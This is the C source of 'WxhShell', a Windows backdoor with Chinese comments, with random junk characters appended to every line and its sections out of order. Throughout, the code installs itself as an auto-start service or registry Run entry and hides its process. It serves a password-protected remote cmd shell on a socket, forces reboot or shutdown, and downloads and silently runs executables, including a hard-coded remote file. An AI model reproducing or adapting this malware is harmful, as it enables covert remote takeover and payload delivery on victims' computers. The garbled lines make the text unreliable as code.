    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2@H~nw 0  
    if(Boot(SHUTDOWN)) o%dtf5}(,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  [W;14BD7  
    else { QW!'A`*x  
    closesocket(wsh); +vQyHo  
    ExitThread(0); <sTa Xaq?  
    } \h yTcFb  
    break; T7,tJk,(  
    } G6 GXC`^+  
  // 获取shell bi5'-.B  
  case 's': { Wc)^@f[~<  
    CmdShell(wsh); 5E%W;$3Pb  
    closesocket(wsh); iU3co|q7  
    ExitThread(0); Ft]sTA+C  
    break; A_g'9  
  } "ZH1W9A  
  // 退出 A^~\  
  case 'x': { [Nq4<NK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )&w\9}B:  
    CloseIt(wsh); S`-z$ph}  
    break; cO <x:{`  
    }  *Vc}W  
  // 离开 K<t(HK#[  
  case 'q': { \UiuJ+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3:C *'@  
    closesocket(wsh); ?{FxbDp>  
    WSACleanup(); > 4^U=T#  
    exit(1); s^AYPmR6  
    break; 6L4B$'&KQZ  
        } k'{lo _  
  } 8g$ 8]'M^T  
  } \'p)kDf  
rsIjpPa  
  // 提示信息 2Gj&7A3b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &r_:n t  
} \=QG6&_  
  } Sw0~6RZ  
Zw }7vD0  
  return; |~>8]3. Y  
} 5Po.&eS  
;DRJL   
// shell模块句柄 M F& +4$q  
int CmdShell(SOCKET sock) ){6;o& CC:  
{ Gjzhgz--  
STARTUPINFO si; *:_.cbo  
ZeroMemory(&si,sizeof(si)); M#:Mwa$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q-uYfXZ{j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q.5a"(d@  
PROCESS_INFORMATION ProcessInfo; 8sL7p4  
char cmdline[]="cmd"; 94n,13  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $bN%x/  
  return 0; ;ymUMQ%;/  
} x*_c'\F|  
}U8H4B~UtY  
// 自身启动模式 Lrz>00(*4  
int StartFromService(void) 6-<r@{m$  
{ 7=JiL=  
typedef struct tv?~LJYN  
{ Qx {/izc  
  DWORD ExitStatus; `f b}cJUa  
  DWORD PebBaseAddress; AN^;~m^  
  DWORD AffinityMask;  vH` u  
  DWORD BasePriority; m+1MoeR  
  ULONG UniqueProcessId; \b' <q  
  ULONG InheritedFromUniqueProcessId; }J:~}?^%n  
}   PROCESS_BASIC_INFORMATION; TG'A'wXxy  
; zs4>>^>  
PROCNTQSIP NtQueryInformationProcess; -N9U lW2S  
@!K)(B;A0b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tl9_Wi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'os-+m@  
;@Ls "+g  
  HANDLE             hProcess; R$v{ p[  
  PROCESS_BASIC_INFORMATION pbi; IUI >/87u  
U+nwLxe'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }`>u+iH#a  
  if(NULL == hInst ) return 0; tR*J M$T  
%1xo|6hm-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +\Rp N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kh3*\xT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CkIICx  
Nqy',N  
  if (!NtQueryInformationProcess) return 0; O'o`  
;clF\K>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w0VJt<e*  
  if(!hProcess) return 0; q1Ah!9B  
/ [:@j+n\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]w! x  
YP+0 uZ[g  
  CloseHandle(hProcess); 6?z&G6  
_! \X>rfz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8la.N*  
if(hProcess==NULL) return 0; )}vQ?n[:'  
hG; NJx-=R  
HMODULE hMod; <#LH L  
char procName[255]; wbVM'E/&  
unsigned long cbNeeded; ;?bRRW  
bvs0y7M='  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }8 fG+H.  
,~%Qu~\  
  CloseHandle(hProcess); QV7K~qi  
hP,SvN#!2  
if(strstr(procName,"services")) return 1; // 以服务启动 ,NPU0IDG>  
`)!)}PXl  
  return 0; // 注册表启动 !uy?]l  
} 8&f}GdZh  
)%f]`<o  
// 主模块 ;"wU+  
int StartWxhshell(LPSTR lpCmdLine) XBdC/DM[  
{ D3vdO2H  
  SOCKET wsl; ,H[-.}OO  
BOOL val=TRUE; V!a|rTU6  
  int port=0; ^s_E|~U  
  struct sockaddr_in door; Y)?4OB=n  
;9/6X#;$  
  if(wscfg.ws_autoins) Install(); YNH>^cD1  
rmk'{"  
port=atoi(lpCmdLine); r"zW=9 O=  
w'#VN|;;!  
if(port<=0) port=wscfg.ws_port; i=#r JK=  
MuO7_*q'n  
  WSADATA data; rKP"|+^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &W)k s  
>/ECLP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u3dhMnUn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M\DUx5d J,  
  door.sin_family = AF_INET; VABrw t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '[{M"S  
  door.sin_port = htons(port); RT F9;]Ti  
Qf$0^$ "  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Qs-@]E-  
closesocket(wsl); x\3tSP7Vp  
return 1; WIQt5=-  
} d]} 7]  
AFc#2wn  
  if(listen(wsl,2) == INVALID_SOCKET) { k'xnl"q  
closesocket(wsl); ec)G~?FH  
return 1; @$F(({?  
} N`Zm[Sv7  
  Wxhshell(wsl); 7Q/v#_e(  
  WSACleanup(); .KIAeCvl\  
4&R\6!*s  
return 0; tI{pu}/"#  
;_F iiBk7(  
} o`DBzC  
$xvEYK  
// 以NT服务方式启动 }^pnwo9vV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;^=eiurv  
{ k&n7 _[]n  
DWORD   status = 0; q}M^i7IE  
  DWORD   specificError = 0xfffffff; aL-V9y  
'i%Azzv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oB&s2~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'N,x=1R5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ygd'Nh!@  
  serviceStatus.dwWin32ExitCode     = 0; a^)7&|$ E  
  serviceStatus.dwServiceSpecificExitCode = 0; E"x 2jP  
  serviceStatus.dwCheckPoint       = 0; #ie{!Mh  
  serviceStatus.dwWaitHint       = 0; nx $?wxIm  
/7h}_zs6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kVe^g]F  
  if (hServiceStatusHandle==0) return; &pZ]F=.r+  
 &j2L- )  
status = GetLastError(); B>o #eW  
  if (status!=NO_ERROR) n?YGX W/  
{ IgptiZ7~!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k#5S'sCF<  
    serviceStatus.dwCheckPoint       = 0; w44{~[0d4  
    serviceStatus.dwWaitHint       = 0; H-1@z$p  
    serviceStatus.dwWin32ExitCode     = status; fdck/|`t  
    serviceStatus.dwServiceSpecificExitCode = specificError; :>Z0Kb}7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Zl0$~B:5  
    return; G"O %u|7  
  } =uKK{\+|Y  
E-E+/.A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XFG]%y=/6  
  serviceStatus.dwCheckPoint       = 0; S]K^wj[  
  serviceStatus.dwWaitHint       = 0; 85w D<bN27  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v\n!Li H  
} F2z^7n.S  
ky#<\K1}'  
// 处理NT服务事件,比如:启动、停止 E{wVf_K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <*8nv.PX*  
{ RLw=y{%p  
switch(fdwControl) P]yER9'  
{ qVZ=:D{  
case SERVICE_CONTROL_STOP: m&Ms[X  
  serviceStatus.dwWin32ExitCode = 0; [<1i[\^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3P^eD:) w  
  serviceStatus.dwCheckPoint   = 0;  T~ /Bf  
  serviceStatus.dwWaitHint     = 0; '=\]4?S  
  { )#xd]~ <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A;SRm<,  
  } `vL R;D  
  return; &EE6<-B-  
case SERVICE_CONTROL_PAUSE: 0=t_ a]+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xDRK^nmC  
  break; uLe+1`Y5Ux  
case SERVICE_CONTROL_CONTINUE: vkc(-n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4JU#3  
  break; &7E0H{  
case SERVICE_CONTROL_INTERROGATE: K*7*`6iU  
  break; |os2@G$  
}; nFw&vR/q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @2YO_rL[  
} B?#@<2*=L  
""d3ownKhw  
// 标准应用程序主函数 Wq&TbWR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]L}<Y9)t  
{ 0t/S_Q  
|n01T_Z)P  
// 获取操作系统版本 *v8Cj(69  
OsIsNt=GetOsVer(); 57K1e~^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hYb!RRGn  
6&.[ :IHw  
  // 从命令行安装 b[e+(X  
  if(strpbrk(lpCmdLine,"iI")) Install(); !%T@DT=l&  
fCx~K'UWn  
  // 下载执行文件 H# 2'\0u  
if(wscfg.ws_downexe) { X k<X:,T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H{p+gj^J  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q1buuF#CU&  
} <:q]t6]$  
JOenVepQ,  
if(!OsIsNt) { J5@_OIc1y  
// 如果时win9x,隐藏进程并且设置为注册表启动 mEyZ<U9  
HideProc(); &NHIX(b6  
StartWxhshell(lpCmdLine); D2>=^WP6+  
} "84.qgYaG  
else OwSr`2'9  
  if(StartFromService()) *!C^L"i  
  // 以服务方式启动 N@tzYD|hA  
  StartServiceCtrlDispatcher(DispatchTable); ${6 ;]ye  
else VdVca1Z  
  // 普通方式启动 FjkE^o>  
  StartWxhshell(lpCmdLine); D' uzH|z8  
xQWZk`6~L  
return 0; ME0ivr*=:  
} 4V43(G  
R%7k<1d'`  
sI9~TZ :  
9R'rFI  
=========================================== JGGss5  
h7gH4L!'u  
?B@iBOcu[  
K<Iz5+oD  
QVzLf+R~  
ymr-kB  
" HbZ3QWP  
/oe="/y6  
#include <stdio.h> b*?="%eE(  
#include <string.h> sNS! /  
#include <windows.h> (nvSB}?  
#include <winsock2.h> )|Y"^K%Jm  
#include <winsvc.h> 'T+3tGCy+  
#include <urlmon.h> /F/`?=1<$  
i&"I/!3Q@  
#pragma comment (lib, "Ws2_32.lib") a&PoUwG  
#pragma comment (lib, "urlmon.lib") W!GgtQw{F  
G ^r^" j  
#define MAX_USER   100 // 最大客户端连接数 #_|b;cf  
#define BUF_SOCK   200 // sock buffer 5hg>2?e9s?  
#define KEY_BUFF   255 // 输入 buffer =0x[Sa$&,  
ph^qQDA  
#define REBOOT     0   // 重启 N @]*E  
#define SHUTDOWN   1   // 关机 qC`"<R=GX  
s{< rc>  
#define DEF_PORT   5000 // 监听端口 l3l[jDa,2  
.`xcR]PQ  
#define REG_LEN     16   // 注册表键长度 "QGP]F  
#define SVC_LEN     80   // NT服务名长度 `,\WhJ?9  
p]=8=pE<  
// 从dll定义API o?/N4$&5l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Z7o?S";  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - DL/Hk_r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KWN0$*4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ke)3*.Y%C  
"o=h /q5&  
// wxhshell配置信息 %"+FN2nbm  
struct WSCFG { s)xfTr_$  
  int ws_port;         // 监听端口 cZ^$!0  
  char ws_passstr[REG_LEN]; // 口令 +w GE  
  int ws_autoins;       // 安装标记, 1=yes 0=no TtKBok  
  char ws_regname[REG_LEN]; // 注册表键名 ]!h%Jlu  
  char ws_svcname[REG_LEN]; // 服务名 f>Bcr9]]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r{6 ,;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cs~ }k7><  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &k : |  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1`B5pcuI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *A c~   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M*aE)D '  
r`28fC  
}; lE=Q(QUr  
\p [!@d^  
// default Wxhshell configuration t(Iy[-  
struct WSCFG wscfg={DEF_PORT, LFV;Y.-(h  
    "xuhuanlingzhe", V,|9$A;  
    1, j!m~ :D  
    "Wxhshell", 8m-jU 5u  
    "Wxhshell", ^x:4%%Q]l  
            "WxhShell Service", P,D >gxl  
    "Wrsky Windows CmdShell Service", *w> /vu  
    "Please Input Your Password: ", BjOrQAO  
  1, 83;1L:}`  
  "http://www.wrsky.com/wxhshell.exe", fgTvwO Sk  
  "Wxhshell.exe" |w /txn8G|  
    }; *~2jP;$  
iT9cw`A^%  
// 消息定义模块 b LSI\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?aO%\<b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _lyP7$[: c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G}D?+MWY  
char *msg_ws_ext="\n\rExit."; >D<nfG<s Z  
char *msg_ws_end="\n\rQuit."; Mr/^V,rA  
char *msg_ws_boot="\n\rReboot..."; >G/>:wwSP.  
char *msg_ws_poff="\n\rShutdown..."; MH{vFA4:,  
char *msg_ws_down="\n\rSave to "; mj5A*%"W  
`d3S0N6@  
char *msg_ws_err="\n\rErr!"; g<}EL[9  
char *msg_ws_ok="\n\rOK!"; P{QRmEE  
nb0<.ICF%R  
char ExeFile[MAX_PATH]; 6sB!m|zm]:  
int nUser = 0; l]3g6c  
HANDLE handles[MAX_USER]; k_O"bsI)  
int OsIsNt; &WvJg#f  
/x-Ja[kL  
SERVICE_STATUS       serviceStatus; 7b@EvW6X}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3<fJ5-z|-  
Ob0=ZW`+&  
// 函数声明 a; /4 ht  
int Install(void); &~||<0m  
int Uninstall(void);  jCKRoao  
int DownloadFile(char *sURL, SOCKET wsh); JJ qX2B  
int Boot(int flag); V! "^6)  
void HideProc(void); t'm]E2/  
int GetOsVer(void); G.B^C)guu  
int Wxhshell(SOCKET wsl); $. V(_  
void TalkWithClient(void *cs); as o8  
int CmdShell(SOCKET sock); sY1@ch"  
int StartFromService(void); ;M4N=G Wd4  
int StartWxhshell(LPSTR lpCmdLine); y^M'&@F  
Y5ebpw+B-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pok,`yW\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ufEt"P-X.  
!4.;Ftgjn  
// 数据结构和表定义 )m5<gp`  
SERVICE_TABLE_ENTRY DispatchTable[] = 9n8;eE08  
{ PMXnupt  
{wscfg.ws_svcname, NTServiceMain}, {} vl^b  
{NULL, NULL} JB b}{fo~  
}; 1`2lTkg  
hn!$?Vo.  
// 自我安装 5:n&G[Md  
int Install(void) sPc\xY  
{ \hNMTj#O  
  char svExeFile[MAX_PATH]; =Ee f  
  HKEY key; u!L8Sv  
  strcpy(svExeFile,ExeFile); DgOoEHy[  
~Ycz(h'(  
// 如果是win9x系统,修改注册表设为自启动 e$F7wto  
if(!OsIsNt) { 1{";u"q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <!DOCvd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8'g/WZY~~  
  RegCloseKey(key); nW|[poQK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m\@Q/_ v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;]n U->  
  RegCloseKey(key); @&E E/j^  
  return 0; 3]} W  
    } 66Hu<3X P  
  } >|z=-hqPK  
} #/1A:ig  
else { 3t%uUkXl  
o2Pj|u*X  
// 如果是NT以上系统,安装为系统服务 *jA%.F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hyee#fB  
if (schSCManager!=0) -P'>~W,~  
{ b[RBp0]x  
  SC_HANDLE schService = CreateService 7zQD.+&L  
  ( HJg)c;u/2;  
  schSCManager, Z$WT ~V  
  wscfg.ws_svcname, -t*C-C'"|  
  wscfg.ws_svcdisp, @}fnR(fS  
  SERVICE_ALL_ACCESS, LGod"8~U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *q8W;Wa L  
  SERVICE_AUTO_START, +[~\\X  
  SERVICE_ERROR_NORMAL, 8^< -;  
  svExeFile, uc7Y8iO  
  NULL, DC/CUKE.d  
  NULL, 3)dT+lZ  
  NULL, Aoa0czC~  
  NULL, D0x+b2x^  
  NULL L ~ 1Lv?  
  ); @uH7GW}$g  
  if (schService!=0) Y`( I};MO  
  { dHOz;4_  
  CloseServiceHandle(schService); vBM\W%T|d  
  CloseServiceHandle(schSCManager); ?0_i{BvN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tbOe,-U-@  
  strcat(svExeFile,wscfg.ws_svcname); ( !Ml2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P<2yCovn`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c#{<| .  
  RegCloseKey(key); F1%' zsv  
  return 0; 7g&_`(  
    } OQ[>s(`*{  
  } (<%i8xu 2  
  CloseServiceHandle(schSCManager); 4] DmgOru%  
} p1Lx\   
} EQ=Enw1[  
\=5CNe  
return 1; 2d1'!B zDA  
} "aa6W  
1bj75/i<6  
// 自我卸载 WtlIrdc  
int Uninstall(void) C<n.C*o  
{ Ho"FB|e  
  HKEY key; 9"V27"s  
8E0Rg/DnT  
if(!OsIsNt) { KE5f`h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x$s#';*  
  RegDeleteValue(key,wscfg.ws_regname); _=}Y lR  
  RegCloseKey(key); H56e#:[$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ir}&|"~H  
  RegDeleteValue(key,wscfg.ws_regname); d3n TJX  
  RegCloseKey(key); gNZ^TeT  
  return 0; 1p8E!c{}j  
  } %FF  S&vd  
} 5#2vSq!H  
} 1/#N{rZ  
else { eY&UFe  
~:+g+Mf~[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E+7S:B  
if (schSCManager!=0) /H3,v8J@  
{ 9qqEr~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W}.4$f>  
  if (schService!=0) _fa]2I  
  { CZ&TUE|:DA  
  if(DeleteService(schService)!=0) { h+$_:](PC  
  CloseServiceHandle(schService); %F}`;>C3  
  CloseServiceHandle(schSCManager); ,:L}S03k  
  return 0; N!Y'W)i16  
  } /pyKTZ|  
  CloseServiceHandle(schService); FAQ:0 L$G  
  } ?T4%"0  
  CloseServiceHandle(schSCManager); r_2  
} YDQV,`S7  
} *~:@xMa  
;UWdT]>!?  
return 1; nt5 ~"8  
} BO{J{  
G&Cl:CtC  
// 从指定url下载文件 C ]r$   
int DownloadFile(char *sURL, SOCKET wsh) j?&FK  
{ F^ Q  
  HRESULT hr; >ueJ+sgH  
char seps[]= "/"; *#2`b%qh\M  
char *token; q_ 5xsTlTR  
char *file; IGB>8$7  
char myURL[MAX_PATH]; 3]c<7vdl  
char myFILE[MAX_PATH]; ~F' $p  
\!YPht  
strcpy(myURL,sURL); nFB;!r  
  token=strtok(myURL,seps); -D(Ubk Pw  
  while(token!=NULL) !w/~dy  
  { x]{h$yI  
    file=token; O~t5qnu/}  
  token=strtok(NULL,seps); $[|8bE  
  } "0/OpT7h7  
n1cAI|ZE  
GetCurrentDirectory(MAX_PATH,myFILE); y'zEaL&SI@  
strcat(myFILE, "\\"); atN`w=6A`  
strcat(myFILE, file); Nq9(O#}  
  send(wsh,myFILE,strlen(myFILE),0); Cu|n?Uk  
send(wsh,"...",3,0); :))AZ7_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3PJ  
  if(hr==S_OK) _5X}&>>lhF  
return 0; ^qk$W? pX  
else \T[*|"RFZ  
return 1; chiQ+  
Ar):D#D  
} }& 1_gn15  
J#X7Ss  
// 系统电源模块 3~ZtAgih%  
int Boot(int flag) :X$&g sT/,  
{ m _]"L  
  HANDLE hToken; z5i!GJB  
  TOKEN_PRIVILEGES tkp; 5w1=j\oq  
Ri-I+7(n!  
  if(OsIsNt) { o0<T|zgF5,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d[o =  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >T(f  
    tkp.PrivilegeCount = 1; TVjY8L9'h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [S<DdTY9hZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;\i4MT  
if(flag==REBOOT) { Z,d/FC#y(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @*c+`5)_  
  return 0; x[>A'.m@)  
} e EU :  
else { 5-C6;7%:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7'&Xg_  
  return 0;  !c*^:0  
} T}\U:@b  
  } &O%Kj8)  
  else { ;bA9(:?  
if(flag==REBOOT) { I{RktO;1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fB:M'A'  
  return 0; ),~Ca'TU  
} z.jGVF4  
else { MT V'!Zxs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /`'50C j  
  return 0; fO:*85 %}7  
} zY#U]Is  
} ^QnVYTM  
+0=RC^   
return 1; V)0bLR  
} _@@S,(MA  
n@%'Nbc>b  
// win9x进程隐藏模块 8l}|.Q#--  
void HideProc(void) x Apa+j6I  
{ iF 67  
N..u<06j/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2`Pk@,:_  
  if ( hKernel != NULL ) "jpjBH:c$  
  { lRO8}XSI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i>rn!?b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^%<v| Y(X  
    FreeLibrary(hKernel); > *_?^F_  
  } _>aesp%  
)pvZM?  
return; leD?yyjw7  
} Bf-&[ 5N}  
i\<l&W  
// 获取操作系统版本 =9)ypI-2  
int GetOsVer(void) =* (d+[_  
{ xQD#; 7  
  OSVERSIONINFO winfo; G's/Q-'[\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D~%cf  
  GetVersionEx(&winfo); `QkzWy~V3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ti'O 2k  
  return 1; ck@[% ?  
  else oOD|FrlY  
  return 0; *%fOE;-?  
} m83i6"!H  
=_UPZ]  
// 客户端句柄模块 )0%<ZVB  
int Wxhshell(SOCKET wsl) V3m!dp]  
{ |FNP~5v  
  SOCKET wsh; ;N j5NB7  
  struct sockaddr_in client; 2+^#<Uok  
  DWORD myID; C )P N  
u_[Zu8  
  while(nUser<MAX_USER) F1+2V"~  
{ * r%  
  int nSize=sizeof(client); 3!}#@<j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % ,X(GwX  
  if(wsh==INVALID_SOCKET) return 1; 7;_5 [_  
Y Jv{Z^;M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0qTa @y  
if(handles[nUser]==0) 'Gc6ZSLM  
  closesocket(wsh); ~bwFQYY=  
else 8=SNLO  
  nUser++; Xr~r`bR=  
  } o2.! G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fkI<RgM  
yrIT4y  
  return 0; T|}HK]QOX  
} .6tz ^4  
/!E /9[V  
// 关闭 socket ,wFLOfV@  
void CloseIt(SOCKET wsh) 'shOSB  
{ ?Cu$qE!h)[  
closesocket(wsh); vw!i)JO8M  
nUser--; XkNi 'GJf  
ExitThread(0); z* `81  
} ,fN iZ  
O+e8}Tmm  
// 客户端请求句柄 \ 0CGS  
void TalkWithClient(void *cs) Im Tq`  
{ B]hZ4.B1  
'6aH*B:}*;  
  SOCKET wsh=(SOCKET)cs; 8^~ljf]6  
  char pwd[SVC_LEN]; l >O]Cpt  
  char cmd[KEY_BUFF]; "w A8J%:  
char chr[1]; IGp-`%9  
int i,j; :2?'mKa7  
%TR->F  
  while (nUser < MAX_USER) { [OT@gp:  
>!oN+8[~  
if(wscfg.ws_passstr) { > W0hrt?b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;j(xrPNb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cis ~]x%  
  //ZeroMemory(pwd,KEY_BUFF); 0 @ ,@  
      i=0; d-  ]%  
  while(i<SVC_LEN) { YnNei 7R  
1'g?B`  
  // 设置超时 .N5"IY6>  
  fd_set FdRead; -Rf|p(SJ,E  
  struct timeval TimeOut; adxJA}K}  
  FD_ZERO(&FdRead); bEy%S "\<  
  FD_SET(wsh,&FdRead); <n#JOjHV  
  TimeOut.tv_sec=8; JD'/m hN0  
  TimeOut.tv_usec=0; !k[ zUti  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M 35}5+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >DV0!'jW  
aTPpE9Pa&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vCi:c Ip/  
  pwd=chr[0]; ~#-`Qh  
  if(chr[0]==0xd || chr[0]==0xa) { "zv+|_ZAfd  
  pwd=0; $]hf2Yr(  
  break; ))MP]j9 T  
  } BY 1~\M  
  i++; S#""((U$  
    } CsE|pXVG  
HPgMVp'  
  // 如果是非法用户,关闭 socket WUxr@0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hR?rZUl2M  
} <fyv^e  
tG{Vn+~/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 36j.is  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QzS{2Y[OQ  
co*5NM^  
while(1) { 5 Fd]3  
A 7sej  
  ZeroMemory(cmd,KEY_BUFF); E dU3k'z$  
6Qo6 T][  
      // 自动支持客户端 telnet标准   iff U}ce  
  j=0; E O}(MXS  
  while(j<KEY_BUFF) { ^oP]@r"qy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @emZwN"m  
  cmd[j]=chr[0]; uD5i5,q1Hs  
  if(chr[0]==0xa || chr[0]==0xd) { , <[os  
  cmd[j]=0; #VrT)po+  
  break; 0lBl5k e  
  } sG}9l1  
  j++; O_:Q#  
    } 3 C[ ;2  
X)|%[aX}q  
  // 下载文件 o3`Z@-.G  
  if(strstr(cmd,"http://")) { q!7\`>.2:{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v<-D>iJ  
  if(DownloadFile(cmd,wsh)) :3G9YjzC}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G/D{K$=t~  
  else 1n5&PNu  
